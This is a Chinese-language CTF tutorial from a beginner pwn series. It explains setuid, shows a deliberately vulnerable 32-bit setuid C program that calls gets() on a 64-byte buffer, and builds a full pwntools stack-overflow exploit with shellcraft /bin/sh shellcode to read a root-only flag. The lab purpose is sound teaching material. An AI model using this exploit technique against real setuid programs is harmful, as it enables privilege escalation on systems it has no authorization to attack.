简介

“pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的,PWN 也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用

下载这个github库,进入05文件夹

https://github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101

SUID

然后将flag设置位只能root可读

chown root:root flag.txt
chown root:root server

设置程序位suid位

chmod 4655 server

PWN入门(6)写入shellcode_CTF

因为我们要模拟普通用户如何通过缓冲区溢出来读取root权限的内容,切换到普通用户,就没有权限查看flag文件了

PWN入门(6)写入shellcode_PWN_02

什么是setuid?

setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配

这么说起来有点绕,我们来举一个例子

一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了

演示
我们用user用户运行一个vim
然后新开一个窗口查看后台进程

ps -aux

PWN入门(6)写入shellcode_linux_03

这里可以看到,我们的vim正在以user的权限运行中,然后我们去执行一下靶机上的setuid文件看看

PWN入门(6)写入shellcode_linux_04

这里可以看到,我们虽然是user用户,但执行文件后,文件正以root权限运行
我们查看文件的权限

PWN入门(6)写入shellcode_CTF_05

r代表读,w代表写,x代表执行,那s是什么呢

s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的

当这个位被user权限的用户执行时,linux实际上是以文件的创造者的权限运行的,在这种情况下,它是以root权限运行的
我们的目标就是,破解这些文件然后拿到root权限读取flag

获取文件信息

首先我们登录普通用户,然后使用checksec工具可以查看程序更详细的信息

PWN入门(6)写入shellcode_PWN_06

可以看到,这个程序没有开启任何防护
从上到下依次是

32位程序
部分RELRO,基本上所有程序都默认的有这个
没有开启栈保护
未启用数据执行
没有pie,意思是程序的内存空间不会被随机化
有读,写,和执行的段,意思是我们可以在程序里写入shellcode

查看程序源代码

PWN入门(6)写入shellcode_CTF_07

#include <stdio.h>

int secret_function() {
    asm("jmp %esp");    //汇编语言,意思是跳转到esp寄存器的地址里执行内容
}

void receive_feedback()
{
    char buffer[64];    定义了一个变量,名为buffer,有64个字节的缓冲区

    puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");   //输出字符
    gets(buffer);   //获取我们输入的内容
}

int main()
{
    setuid(0);    //保证程序以root身份运行
    setgid(0);    //保证程序以root身份运行

    receive_feedback();    //调用receive_feedback()函数

    return 0;
}

我们的目标就是溢出这个buffer,覆盖返回地址,写入shellcode,让程序跳转到esp寄存器里执行shellcode

关于程序的堆栈可以看这篇文章

https://courses.engr.illinois.edu/cs225/fa2022/resources/stack-heap/

动态调试

我们用gdb对程序进行动态调试

gdb server

输入命令cyclic就能获得测试用的字符串,然后运行程序

cyclic 100
run

PWN入门(6)写入shellcode_CTF_08

PWN入门(6)写入shellcode_PWN_09

eip指针原来的返回地址被覆盖成了taaa,我们查一下taaa在刚刚生成的字符的第几个

cyclic -l taaa

PWN入门(6)写入shellcode_网络安全_10


说明我们要覆盖eip原本的返回地址并控制,就需要76个字符+想让程序跳转执行的地址

现在我们写一个python小脚本来测试一下

python2 -c "print 'A'*76 + 'BBBB' + 'C'*100"
A是覆盖函数缓冲区空间的,B是我们要跳转的地址,C是我们要写入的shellcode字符

再次运行程序并输入

PWN入门(6)写入shellcode_PWN_11

PWN入门(6)写入shellcode_CTF_12

可以看到,eip的地址是B,堆栈里的内容就是C,我们需要让程序调用jmp esp那个汇编指令,然后程序就会执行堆栈里的内容

我们可以使用程序内的函数来跳转到堆栈里,也可以使用其他地址的指令来跳转到堆栈里,这两个方法都是可行的

PWN入门(6)写入shellcode_CTF_13

这里我们使用程序内的函数来跳转到堆栈里

PWN入门(6)写入shellcode_网络安全_14

然后就是我们要写入的shellcode了,这里可以使用shellcraft工具来帮助我们快速生成汇编代码的shellcode

我们要生成和程序对应的shellcode

PWN入门(6)写入shellcode_CTF_15

第一行可以看到程序是i386架构的,然后是linux二进制可执行文件,最后我们要生成sh交互命令行

shellcraft -l   //列出shellcode列表

PWN入门(6)写入shellcode_CTF_16

找到相符条件的shellcode,然后生成

shellcraft i386.linux.sh

PWN入门(6)写入shellcode_CTF_17

这里生成是以十六进制展现的,我们可以让他转换为汇编语言,好让我们可以看一下shellcode汇编代码

shellcraft i386.linux.sh -f a

PWN入门(6)写入shellcode_CTF_18

这些就是我们生成的shllcode代码了,我们可以写一个pwntools脚本来完成利用

nop指令

NOP指令,简单解释就是覆盖地址后程序不执行任何操作

pwntools脚本

程序内跳转函数的地址

PWN入门(6)写入shellcode_堆栈_19

PWN入门(6)写入shellcode_PWN_20

无法打开flag文件,因为没有权限

PWN入门(6)写入shellcode_linux_21

from pwn import *   //导入pwntools模块

exe = './server'   //要破解的文件名
elf = context.binary = ELF(exe, checksec=False)   //自动获取程序详细信息,如架构,操作系统
io = process('./server')   //启动程序
padding = 76   //覆盖eip原本的返回地址
shellcode = asm(shellcraft.sh())   //导入shellcode
payload = flat(
    asm('nop') * padding,   //覆盖eip原本的返回地址
    0x08049192,    //程序内跳转函数的地址
    asm('nop') * 16,   //不清楚堆栈需要溢出多少才能达到shellcode的地址,覆盖为nop指令,不执行任何操作,直到shellcode的位置
    shellcode
)   //构造paylaod
io.sendlineafter(b':',payload)  //发送payload
io.interactive()  //获得交互

运行脚本

PWN入门(6)写入shellcode_网络安全_22

成功拿到flag